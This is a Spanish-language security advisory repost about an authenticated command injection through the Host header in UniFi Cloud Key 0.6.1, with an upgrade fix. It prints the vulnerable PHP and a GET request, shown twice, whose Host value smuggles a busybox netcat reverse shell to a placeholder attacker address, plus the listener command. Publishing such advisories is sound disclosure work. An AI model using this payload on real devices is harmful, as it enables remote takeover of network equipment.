Command Injection en Ubiquiti Networks UniFi Cloud Key
Ubiquiti Networks desarrolla tecnologías de redes de alto rendimiento para empresas y proveedores de servicios. La plataforma se enfoca en ofrecer soluciones avanzadas y fáciles de implementar.
Existe una inyección de comandos a través de la cabecera de una petición GET en la versión 0.6.1 de UniFi Cloud Key. Esta vulnerabilidad puede ser explotada cuando la interfaz de Cloud Key está expuesta a Internet y un atacante tenga las credenciales.
El código responsable de esta vulnerabilidad es:
El código responsable de esta vulnerabilidad es:
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
La variable $c_host no está filtrada y esto hace posible la inyección de código. La siguiente petición GET puede ser usada para abrir una reverse-shell.
GET /api/status HTTP/1.1
Host: SERVER_ADDRESS;busybox nc ATTACK_ADDRESS 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://SYSTEM_ADDRESS/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
GET /api/status HTTP/1.1
Host: SERVER_ADDRESS;busybox nc ATTACK_ADDRESS 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https://SYSTEM_ADDRESS/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
El atacante sólo tiene que ejecutar netcat con los siguientes parámetros
$ nc -lvp 8999
Para arreglar esta vulnerabilidad se recomienda actualizar a la versión 0.6.4 o superiores.
Mario Parra
Más información:
UBIQUITI NETWORKS UNIFI CLOUD KEY AUTHENTICATED COMMAND INJECTION
https://www.sec-consult.com/en/blog/advisories/ubiquiti-networks-unifi-cloud-key-authenticated-command-injection/index.html
Via: unaaldia.hispasec.com
Command Injection en Ubiquiti Networks UniFi Cloud Key
Reviewed by Zion3R
on
11:23
Rating: